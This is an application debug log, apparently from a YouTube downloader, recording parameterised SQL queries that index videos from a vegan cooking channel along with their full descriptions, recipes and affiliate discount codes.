[xE1uqxsyCp8].NA", false, ~U[2024-01-13 00:00:00Z]] 20:31:07.777 [debug] QUERY OK source="sources" db=1.1ms idle=9.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.780 [debug] QUERY OK source="media_items" db=2.0ms idle=8.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-01-10 00:00:00Z], 1] 20:31:07.789 [debug] QUERY OK source="media_items" db=7.8ms idle=8.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video I’m gonna show you some healthy quinoa bowls that I’ve been eating over the last few weeks that have been helping me to lose weight and feel pretty darn good in 2024! 🎉\n\nThese lunch bowls are packed with tons of flavour and variety so you’ll feel like you’re not missing out on anything. All while keeping things high-protein, gluten-free and totally vegan!\n\nCheck out my entire HIGH-PROTEIN, HEALTHY & GLUTEN-FREE RECIPES playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nOTHER VIDEO MENTIONED IN THIS VIDEO ⬇️\nVEGAN BACON 3 WAYS \u00A0\u00A0\u00A0•\u00A0I\u00A0made\u00A0EVERY\u00A0vegan\u00A0bacon\u00A0and\u00A0these\u00A03\u00A0are\u00A0t...\u00A0\u00A0\nMY FAVE VEGAN SALAD DRESSINGS \u00A0\u00A0\u00A0•\u00A0Stop\u00A0Wasting\u00A0Money\u00A0on\u00A0Store-Bought!\u00A05\u00A0Home...\u00A0\u00A0\nMORE SALAD DRESSINGS! \u00A0\u00A0\u00A0•\u00A04\u00A0Unique\u00A0Salad\u00A0Dressings\u00A0You've\u00A0Never\u00A0Trie...\u00A0\u00A0\n\nLoaded BLT Quinoa Bowl\n4 cups\u00A0cooked quinoa (refrigerated overnight if you want a cold salad)\n1 can chickpeas, drained and rinse\n1\u00A0avocado, diced\n1 cup\u00A0green onion, sliced\n½ cup chopped cilantro\n1 cup halved grape tomatoes\n2 teaspoons\u00A0oregano\n1 tsp smoked paprika\n1/2 teaspoon\u00A0cumin\n1/4 teaspoon\u00A0sea salt\n1 tbsp light oil\n\nBACON\n4 sheets rice paper\n1/4\u00A0cup Tamari or gluten-free soy sauce (low-sodium preferably)\n1/4\u00A0cup\u00A0tomato paste (or ketchup, reduce maple syrup to 1 tsp)\n2\u00A0tablespoons\u00A0olive oil (or avocado oil)\n1\u00A0teaspoon\u00A0garlic powder\n1 tbsp maple syrup\n1\u00A0tablespoon\u00A0liquid smoke\n\n1. Cook quinoa until fluffy, about 20 to 25 minutes.\n2. While quinoa is cooking, make the ‘bacon’. First combine all the sauce ingredients into a medium sized bowl, set aside. \n3. Pour warm water into a large shallow plate. Take 2 sheets of rice paper together and dip and drag them through the water; they will begin to soften almost immediately. Place them down one on top of the other onto a damp cutting mat/board. Using a pizza cutter or large sharp knife, cut them into 1½” strips. \n4. Heat 1 tsp of oil in a large frying pan on medium-high heat.\n5. Take a double-layered strip of rice paper and drag it through the sauce. Once coated, place carefully into the frying pan and cook for a couple minutes on each side until becoming golden and crispy. Repeat for each rice paper strip.\n6. Remove from pan and place on a drying rack to continue crisping up.\n7. In a large serving bowl combine the cooked quinoa, chickpeas, avocado, green onions, cilantro, tomatoes, spices and salt until well incorporated. Crumble or chop the rice paper bacon on top of the salad.\n8. Serve the salad in bowls over a bed of crisp romaine lettuce and enjoy!\n\nCrispy Chick’n Caesar Quinoa Bowl\n⅔ cups cooked quinoa\n3 cups romaine or butter lettuce, chopped\n4 oz dry soy curls, rehydrated (OR 1 block extra firm tofu)\n1 to 2 tbsp Old Bay seasoning, or your favourite blend \n1 tbsp soy sauce or low-sodium tamari\n3 tbsp grated vegan parmesan cheese (or nooch)\nBlack pepper and salt to taste\n2 or 3 tbsp Vegan Caesar Dressing\nLemon wedges for serving\n\n1. Rehydrate the soy curls in a boil of boiling hot water and let soak for 10 minutes. Drain and press out any excess liquid using a colander and the back of a spatula or wooden spoon\n2. Toss the soy curls in the spice blend and soy sauce and evenly spread them on a lightly oiled/parchment line baking tray. Bake for 20 minutes at 425F, flipping halfway until golden and crispy at the edges\n3. In large salad bowls, add ½ cup of cooked quinoa, the lettuce, vegan parmesan cheese, soy curl ‘chick’n’ and Caesar dressing.\n4. Optional add ins: olives, sliced cucumbers, croutons, cubed avocado, raw chickpea\n\nSheet Pan Tofu & Veg Quinoa Bowl\n2 cups cooked quinoa\n2 blocks extra firm tofu, cut into cubes\n2 tbsp tamari or soy sauce\n5 tbsp nutritional yeast, divided\n1.5 lbs brussels sprouts, trimmed and halved\n1 tsp liquid smoke\n¾ tsp garlic powder\n2 medium sweet potatoes, halved lengthwise\n\n1. Preheat oven to 425F and prepare two baking sheets with parchment paper.\n2. In a large bowl, toss the brussels sprouts with liquid smoke and 2 tbsp nutritional yeast. Spread on a baking in even layer.\n3. In the same bowl, toss the cubed tofu in tamari, garlic powder and nutritional yeast. Arrange in a s" <> ..., "3 Healthy Quinoa Recipes I Eat Every Week | What I Eat In a Week For Vegan Weight Loss", "b91763b1-ecc4-42b6-a79c-8f04c4654b02", 1, [], false, "hZ5flHPBv_M", "https://www.youtube.com/watch?v=hZ5flHPBv_M", 230, "/downloads/downloads/alec/Steamy Vegan/2024-01-10 3 Healthy Quinoa Recipes I Eat Every Week | What I Eat In a Week For Vegan Weight Loss/3 Healthy Quinoa Recipes I Eat Every Week | What I Eat In a Week For Vegan Weight Loss [hZ5flHPBv_M].NA", false, false, false, 1, ~U[2024-01-10 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this video I’m gonna show you some healthy quinoa bowls that I’ve been eating over the last few weeks that have been helping me to lose weight and feel pretty darn good in 2024! 🎉\n\nThese lunch bowls are packed with tons of flavour and variety so you’ll feel like you’re not missing out on anything. All while keeping things high-protein, gluten-free and totally vegan!\n\nCheck out my entire HIGH-PROTEIN, HEALTHY & GLUTEN-FREE RECIPES playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nOTHER VIDEO MENTIONED IN THIS VIDEO ⬇️\nVEGAN BACON 3 WAYS \u00A0\u00A0\u00A0•\u00A0I\u00A0made\u00A0EVERY\u00A0vegan\u00A0bacon\u00A0and\u00A0these\u00A03\u00A0are\u00A0t...\u00A0\u00A0\nMY FAVE VEGAN SALAD DRESSINGS \u00A0\u00A0\u00A0•\u00A0Stop\u00A0Wasting\u00A0Money\u00A0on\u00A0Store-Bought!\u00A05\u00A0Home...\u00A0\u00A0\nMORE SALAD DRESSINGS! \u00A0\u00A0\u00A0•\u00A04\u00A0Unique\u00A0Salad\u00A0Dressings\u00A0You've\u00A0Never\u00A0Trie...\u00A0\u00A0\n\nLoaded BLT Quinoa Bowl\n4 cups\u00A0cooked quinoa (refrigerated overnight if you want a cold salad)\n1 can chickpeas, drained and rinse\n1\u00A0avocado, diced\n1 cup\u00A0green onion, sliced\n½ cup chopped cilantro\n1 cup halved grape tomatoes\n2 teaspoons\u00A0oregano\n1 tsp smoked paprika\n1/2 teaspoon\u00A0cumin\n1/4 teaspoon\u00A0sea salt\n1 tbsp light oil\n\nBACON\n4 sheets rice paper\n1/4\u00A0cup Tamari or gluten-free soy sauce (low-sodium preferably)\n1/4\u00A0cup\u00A0tomato paste (or ketchup, reduce maple syrup to 1 tsp)\n2\u00A0tablespoons\u00A0olive oil (or avocado oil)\n1\u00A0teaspoon\u00A0garlic powder\n1 tbsp maple syrup\n1\u00A0tablespoon\u00A0liquid smoke\n\n1. Cook quinoa until fluffy, about 20 to 25 minutes.\n2. While quinoa is cooking, make the ‘bacon’. First combine all the sauce ingredients into a medium sized bowl, set aside. \n3. Pour warm water into a large shallow plate. Take 2 sheets of rice paper together and dip and drag them through the water; they will begin to soften almost immediately. Place them down one on top of the other onto a damp cutting mat/board. Using a pizza cutter or large sharp knife, cut them into 1½” strips. \n4. Heat 1 tsp of oil in a large frying pan on medium-high heat.\n5. (truncated) 20:31:07.790 [debug] QUERY OK source="sources" db=0.9ms idle=15.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.793 [debug] QUERY OK source="media_items" db=3.1ms idle=14.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-01-07 00:00:00Z], 1] 20:31:07.796 [debug] QUERY OK source="media_items" db=2.1ms idle=16.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I made every vegan bacon and these 3 are the best ones I've tried! If you're newly vegan or have been for years and you miss the taste and texture of bacon, these 3 recipes have got you covered! From crispy rice paper bacon to chewy and hearty tofu bacon bits, these vegan alternatives will totally impress and satisfy your bacon-craving tastebuds!\n\nGot breakfast recipes on the mind? Check out the entire 'BREAKFAST RECIPES' playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY\u00A0BREAKFASTS\u00A0☀️\u00A0\u00A0\n\nLooking for even more healthy, high-protein recipes? Watch my ‘HEALTHY, HIGH-PROTEIN, GLUTEN-FREE RECIPES’ playlist here ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0 \n\n3 BACON RECIPES\nAll three recipes use the same bacon sauce below:\n¼ cup Tamari or gluten-free soy sauce (low-sodium preferably)\n¼ cup tomato paste (or ketchup, reduce maple syrup to 1 tsp)\n2 tbsp olive oil (or avocado oil)\n1 tsp garlic powder\n1 tbsp maple syrup\n1 tbsp liquid smoke\n\nTOFU BACON BITS\n1 batch of bacon sauce\n1 block of extra firm tofu\n\n 1. Preheat oven to 425°F (or air fryer to 410°F)\n2. In a large bowl add all the bacon sauce ingredients and whisk well to combine. Using your hands crumble the block of extra firm tofu into small pieces directly into the bowl of bacon sauce. Then stir the tofu into the sauce until each piece is coated.\n3. Lightly spray a baking tray with cooking oil and drop the tofu bits onto the tray, leaving a little bit of space between each piece to ensure they get crispy. Bake for 30 minutes until crispy and slightly charred, flipping halfway through cook time.\n4. Sprinkle bacon bits on top of pasta, salads, tofu scramble or any other way you want and ENJOY!\n\nRICE PAPER BACON\n1 batch of bacon sauce\n10 to 12 sheets of rice paper\n\n1. First combine all the sauce ingredients into a medium sized bowl and pour on a large shallow plate.\n2. Pour warm water into another large shallow plate. Take 1 sheet of rice paper and dip and drag them through the water; it will begin to soften almost immediately. Then drag the sheet through the plate of bacon sauce, flipping over to ensure it gets completely covered, shake off any excess. Place it down onto a cutting mat/board. Repeat once more with another sheet of rice paper and place it on top of the other sheet of rice paper. Using a pizza cutter or large sharp knife, cut the double layered 'bacon' sheet into 1½” strips. \n3. Heat 2 tsp of oil in a large frying pan on medium-high heat.\n4. Take the double-layered strips of rice paper and place carefully into the frying pan, ensuring they aren't touching each other, and cook for a couple minutes on each side until becoming golden and crispy. Repeat for each rice paper strip.\n5. Remove from pan and place on a drying rack to continue crisping up. Yum!\n\nSOY CURL BACON\n1 batch of bacon sauce\nHalf a bag of Butler soy curls, rehydrated and water squeezed out\n\n1. Preheat oven to 425F (air fryer 415F)\n2. In a large mixing bowl combine the rehydrated soy curls and the bacon sauce until each soy curl is coated and saturated in the sauce.\n3. Lightly oil a baking tray (or line air fryer basket in foil and lightly oil) and transfer the soy curls, arranging them in a single layer with as much space between them as possible to ensure get crispy. Bake for 40 minutes (air fry for 20 to 24 mins) until they are a dark golden colour at the edges and are crispy.\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "I made EVERY vegan bacon and these 3 are the BEST ONES 🥓", "d8820bf5-3e7b-479f-8aa2-a7ba3fec2c9b", 1, [], false, "kMwcbdqevQk", "https://www.youtube.com/watch?v=kMwcbdqevQk", 231, "/downloads/downloads/alec/Steamy Vegan/2024-01-07 I made EVERY vegan bacon and these 3 are the BEST ONES 🥓/I made EVERY vegan bacon and these 3 are the BEST ONES 🥓 [kMwcbdqevQk].NA", false, false, false, 1, ~U[2024-01-07 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "I made every vegan bacon and these 3 are the best ones I've tried! If you're newly vegan or have been for years and you miss the taste and texture of bacon, these 3 recipes have got you covered! From crispy rice paper bacon to chewy and hearty tofu bacon bits, these vegan alternatives will totally impress and satisfy your bacon-craving tastebuds!\n\nGot breakfast recipes on the mind? Check out the entire 'BREAKFAST RECIPES' playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY\u00A0BREAKFASTS\u00A0☀️\u00A0\u00A0\n\nLooking for even more healthy, high-protein recipes? Watch my ‘HEALTHY, HIGH-PROTEIN, GLUTEN-FREE RECIPES’ playlist here ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0 \n\n3 BACON RECIPES\nAll three recipes use the same bacon sauce below:\n¼ cup Tamari or gluten-free soy sauce (low-sodium preferably)\n¼ cup tomato paste (or ketchup, reduce maple syrup to 1 tsp)\n2 tbsp olive oil (or avocado oil)\n1 tsp garlic powder\n1 tbsp maple syrup\n1 tbsp liquid smoke\n\nTOFU BACON BITS\n1 batch of bacon sauce\n1 block of extra firm tofu\n\n 1. Preheat oven to 425°F (or air fryer to 410°F)\n2. In a large bowl add all the bacon sauce ingredients and whisk well to combine. Using your hands crumble the block of extra firm tofu into small pieces directly into the bowl of bacon sauce. Then stir the tofu into the sauce until each piece is coated.\n3. Lightly spray a baking tray with cooking oil and drop the tofu bits onto the tray, leaving a little bit of space between each piece to ensure they get crispy. Bake for 30 minutes until crispy and slightly charred, flipping halfway through cook time.\n4. Sprinkle bacon bits on top of pasta, salads, tofu scramble or any other way you want and ENJOY!\n\nRICE PAPER BACON\n1 batch of bacon sauce\n10 to 12 sheets of rice paper\n\n1. First combine all the sauce ingredients into a medium sized bowl and pour on a large shallow plate.\n2. Pour warm water into another large shallow plate. Take 1 sheet of rice paper and dip and drag them through the water; it will begin to soften almost immediately. Then drag the sheet through the plate of bacon sauce, flipping over to ensure it gets completely covered, shake off any excess. Place it down onto a cutting mat/board. Repeat once more with another sheet of rice paper and place it on top of the other sheet of rice paper. Using a pizza cutter or large sharp knife, cut the double layered 'bacon' sheet into 1½” strips. \n3. Heat 2 tsp of oil in a large frying pan on medium-high heat.\n4. Take the double-layered strips of rice paper and place carefully into the frying pan, ensuri (truncated) 20:31:07.798 [debug] QUERY OK source="sources" db=0.6ms idle=17.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.801 [debug] QUERY OK source="media_items" db=2.9ms idle=10.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-01-05 00:00:00Z], 1] 20:31:07.816 [debug] QUERY OK source="media_items" db=13.9ms idle=11.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video I'm showing you 6 high protein breakfasts (vegan and gluten-free) that I typically eat every week! Whether you're feeling a fruity breakfast or a savoury one, you'll find the right choice for you here. \nMake sure you check out my full ‘BREAKFASTS RECIPES’ playlist here for tons of delicious recipe videos to inspire you in the kitchen! ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY\u00A0BREAKFASTS\u00A0☀️\u00A0\u00A0\n\nLooking for even more healthy, high-protein recipes? Watch my ‘HEALTHY, HIGH-PROTEIN, GLUTEN-FREE RECIPES’ playlist here ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0 \n\n⭐️RECIPES IN THIS VIDEO⭐️\n\nALL KINDS OF OATS!\n\nIf you've been watching my what I eat in a day videos for awhile then you've probably noticed that I love making all kinds of oatmeals. A lot of people don't realize this but you can actually get 7 grams of protein just from your oats in your oatmeal. A quick tip that one of my subscribers reminded me of recently is to make sure that when shopping for oats that you buy the organic ones because non-organic oats generally have a much higher level of glyphosates which are found in pesticides. If you want to improve your gut health then you'll want to double check that your oats are organic. \nOVERNIGHT OATS 3 WAYS: \u00A0\u00A0\u00A0•\u00A0OVERNIGHT\u00A0OATS!\u00A0Piña\u00A0Colada,\u00A0Strawberry\u00A0Rh...\u00A0\u00A0\nQUICK & EASY OATMEALS: \u00A0\u00A0\u00A0•\u00A0Quick\u00A0&\u00A0Easy\u00A0Holiday\u00A0Oatmeal\u00A0|\u00A0Vegan\u00A0&\u00A0Glu...\u00A0\u00A0\nCHOCOLATE ORANGE BAKED OATS: \u00A0\u00A0\u00A0•\u00A0Cozy\u00A0&\u00A0Healthy\u00A0Vegan\u00A0Breakfast\u00A0Ideas\u00A0For\u00A0F...\u00A0\u00A0 \n\n\nCHIA PUDDING\nA great way to add more variety to your breakfast recipes is to swap out oats for chia pudding. I personally make chia pudding a lot more during the warmer months as it's refreshing but the great thing about this recipe is that it only needs to sit in the fridge for an hour so you can easily make it in the morning and take it to work and eat it on your coffee break if you prefer a later breakfast.\nPB & J CHIA PUDDING: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PB\u00A0&\u00A0J\u00A0Chia\u00A0Pudding!\u00A05\u00A0minutes,\u00A05\u00A0in...\u00A0\u00A0\nCHOCOLATE SUNBUTTER CHIA PUDDING: \u00A0\u00A0\u00A0•\u00A0Chocolate\u00A0SunButter\u00A0Chia\u00A0Pudding\u00A0YUMMMMM!!...\u00A0\u00A0\nCHOCOLATE PROTEIN CHIA PUDDING: \u00A0\u00A0\u00A0•\u00A0chocolate\u00A0protein\u00A0chia\u00A0pudding\u00A0🍫💪🏻\u00A0#youtub...\u00A0\u00A0\nMANGO CHIA PUDDING: \u00A0\u00A0\u00A0•\u00A0Mango\u00A0Chia\u00A0Pudding\u00A0🥭\u00A0Easy\u00A0Vegan\u00A0Breakfast\u00A0...\u00A0\u00A0 \n\n\nQUINOA BREAKFAST BOWLS\nMy husband actually created this recipe about 7 years ago and he'd eat these every day while training to do triathlon. They're super filling, high-protein, and super quick to whip up. I highly recommend that you organize some of your favourite ingredients into a breakfast bar on your counter. Buy a few jars and go to your grocery stores bulk section and buy your favourite nuts, seeds, shredded coconut, dried cranberries or whatever else you think you'd love. It's a game changer for easy meal prep breakfast!\nMEAL PREP QUINOA BREAKY BOWL: \u00A0\u00A0\u00A0•\u00A0MEAL\u00A0PREP\u00A0VEGAN\u00A0BREAKFAST\u00A0BOWL!\u00A0🥣\u00A0(high-pr...\u00A0\u00A0\nOVERNIGHT QUINOA: \u00A0\u00A0\u00A0•\u00A0Overnight\u00A0oats...\u00A0but\u00A0with\u00A0QUINOA!\u00A0🍓🥥\u00A0Whol...\u00A0\u00A0\n\nLENTIL WAFFLES\nWaffles can definitely be a healthy breakfast option! Instead of using flour, butter, and syrup, you can make a few easy adjustments to transform a classic into something reasonably healthy. Lentil waffles are my absolute favourite as they have far more protein and if you top them with protein packed seeds and nut butters then you can have a pretty filling meal.\nHIGH PROTEIN BREAKFAST RECIPES: \u00A0\u00A0\u00A0•\u00A03\u00A0Easy\u00A0HIGH\u00A0PROTEIN\u00A0Vegan\u00A0Breakfast\u00A0Ideas!\u00A0\u00A0\n\nCLASSIC BREAKFAST\nBacon, eggs, hashbrowns, sausages....yes, you can have it all and it's even healthier and has far less cholesterol when you make it plant-based! I make this every single week and you can easily swap out your sausage for a healthier tofu or rice paper bacon.This is super filling and you can totally meal prep everything here. I also prefer to swap out the hashbrowns for roasted air fryer potatoes because when you air fry them again the next day they always end up even crunchier! \nTOFU SCRAMBLE (what I eat in a day): \u00A0\u00A0\u00A0•\u00A0My\u00A0Hit\u00A0and\u00A0Run\u00A0Accident\u00A0Update\u00A0+\u00A0What\u00A0I\u00A0Ea...\u00A0\u00A0\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvega" <> ..., "6 Healthy Breakfasts I Eat Every Week as a Gluten-Free Vegan (What I eat in a week)", "0066f709-8e85-4ad5-9e60-c26b863eb248", 1, [], false, "YqOmkM56wwA", "https://www.youtube.com/watch?v=YqOmkM56wwA", 232, "/downloads/downloads/alec/Steamy Vegan/2024-01-05 6 Healthy Breakfasts I Eat Every Week as a Gluten-Free Vegan (What I eat in a week)/6 Healthy Breakfasts I Eat Every Week as a Gluten-Free Vegan (What I eat in a week) [YqOmkM56wwA].NA", false, false, false, 1, ~U[2024-01-05 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this video I'm showing you 6 high protein breakfasts (vegan and gluten-free) that I typically eat every week! Whether you're feeling a fruity breakfast or a savoury one, you'll find the right choice for you here. \nMake sure you check out my full ‘BREAKFASTS RECIPES’ playlist here for tons of delicious recipe videos to inspire you in the kitchen! ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY\u00A0BREAKFASTS\u00A0☀️\u00A0\u00A0\n\nLooking for even more healthy, high-protein recipes? Watch my ‘HEALTHY, HIGH-PROTEIN, GLUTEN-FREE RECIPES’ playlist here ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0 \n\n⭐️RECIPES IN THIS VIDEO⭐️\n\nALL KINDS OF OATS!\n\nIf you've been watching my what I eat in a day videos for awhile then you've probably noticed that I love making all kinds of oatmeals. A lot of people don't realize this but you can actually get 7 grams of protein just from your oats in your oatmeal. A quick tip that one of my subscribers reminded me of recently is to make sure that when shopping for oats that you buy the organic ones because non-organic oats generally have a much higher level of glyphosates which are found in pesticides. If you want to improve your gut health then you'll want to double check that your oats are organic. \nOVERNIGHT OATS 3 WAYS: \u00A0\u00A0\u00A0•\u00A0OVERNIGHT\u00A0OATS!\u00A0Piña\u00A0Colada,\u00A0Strawberry\u00A0Rh...\u00A0\u00A0\nQUICK & EASY OATMEALS: \u00A0\u00A0\u00A0•\u00A0Quick\u00A0&\u00A0Easy\u00A0Holiday\u00A0Oatmeal\u00A0|\u00A0Vegan\u00A0&\u00A0Glu...\u00A0\u00A0\nCHOCOLATE ORANGE BAKED OATS: \u00A0\u00A0\u00A0•\u00A0Cozy\u00A0&\u00A0Healthy\u00A0Vegan\u00A0Breakfast\u00A0Ideas\u00A0For\u00A0F...\u00A0\u00A0 \n\n\nCHIA PUDDING\n (truncated) 20:31:07.819 [debug] QUERY OK source="sources" db=2.3ms idle=23.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.821 [debug] QUERY OK source="media_items" db=1.8ms idle=23.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-01-02 00:00:00Z], 1] 20:31:07.826 [debug] QUERY OK source="media_items" db=4.4ms idle=23.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video you’ll see everything we bought in this healthy vegan Costco grocery haul! As we jump into 2024 we want to clean out our fridge and pantry of all the indulgences of the holidays and fill up with tons of healthy, whole food, plant based foods. We’ll be making so man good, wholesome and steamy recipes in the New Year so be sure to subscribe so you miss nothing!\n\nTOTAL SPENT = $355 CAD / $268 USD\n\nPS: save 30% off Good Protein powder with my code STEAMYVEGANKITCHEN30 at goodprotein.ca — it’s seriously the BEST tasting protein powder around 😊💪🏻\n\nCHECK OUT MY FULL 'GROCERY HAULS' PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\nCHECK OUT MY FULL 'WHAT I EAT IN A DAY PLAYLIST' ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein 